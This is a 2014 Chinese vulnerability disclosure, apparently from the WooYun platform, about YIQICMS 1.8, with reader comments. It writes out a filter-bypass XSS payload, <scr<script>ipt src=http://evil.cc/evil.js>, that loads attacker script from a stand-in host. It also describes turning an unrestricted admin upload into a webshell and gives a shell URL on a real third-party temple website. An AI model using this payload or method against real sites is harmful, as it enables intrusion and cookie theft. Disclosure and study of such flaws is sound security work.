漏洞概要
关注数(24)
关注此漏洞
漏洞标题:某开源CMS绕过过滤XSS盲打+getshell(伟哥,少林寺官网中枪)
提交时间:2014-09-23 08:42
修复时间:2014-12-22 08:44
公开时间:2014-12-22 08:44
漏洞类型:文件上传导致任意代码执行
危害等级:高
自评Rank:20
漏洞状态:未联系到厂商或者厂商积极忽略
Tags标签:
无
漏洞详情
披露状态:
2014-09-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-22: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
好久没前台过了。。。。
Powered by YIQICMS
“百度为您找到相关结果约17200个”
伟哥官网中枪
详细说明:
最新版1.8,首先关注/comment.php:
我们看到了safecheck函数,但是明显只对content进行了调用,于是留言的标题变成了一处xss.
但是30个字符限制确是鸡肋,于是我们关注safecheck函数。
/include/common.func.php
看到这里想必大家都懂了
天啊噜这不是常出现的<scr<script>ipt>绕过吗
于是构造<scr<script>ipt src=http://evil.cc/evil.js></scr<script>ipt>
在数据被取出时并未进行转义操作
/admin/comments.php
于是后台的景象
恶意js被加载
至此便是盲打后台,接下来是getshell
很幸运地找到了一处可以上传东西的地方
接下来看admin/product-add.php
并没有进行类型限制,看到$filename = date("ymdhis");可以直接抓下包,文件名就是ymdhis。
如果嫌麻烦,还可以回到前台,直接得到shell地址
getshell
当然,因为此处未作CSRF限制,所以可以直接XSRF getshell.
漏洞证明:
拿来实验的少林寺官网
cookie
shell
http://www.shaolinsiyuan.com/include/Smarty/libs/plugins/function.config.php
修复方案:
漏洞回应
漏洞评价:
评论
-
2014-09-24 00:36 |
小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人,在乌云学技术,去某数...)
-
2014-09-24 08:11 |
大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)
如果以非通用漏洞提交 少林寺网站存在XSS+getshell 更吸引眼球 只是没奖金了
-
2014-12-22 09:22 |
Ch丶0nly ( 普通白帽子 | Rank:205 漏洞数:50 | 专注网络30年。)
-
2014-12-22 10:39 |
Observer ( 实习白帽子 | Rank:35 漏洞数:8 | 我在夕阳下奔跑,那是我逝去的青春)
-
2014-12-22 10:58 |
卡卡更健康 ( 实习白帽子 | Rank:71 漏洞数:14 )
少林寺和尚吃了伟哥,一根少林火腿肠,两颗大力金刚丸,合体双修佛法扬。
-
2014-12-22 13:14 |
Observer ( 实习白帽子 | Rank:35 漏洞数:8 | 我在夕阳下奔跑,那是我逝去的青春)
-
2014-12-22 19:07 |
咖啡 ( 实习白帽子 | Rank:48 漏洞数:20 )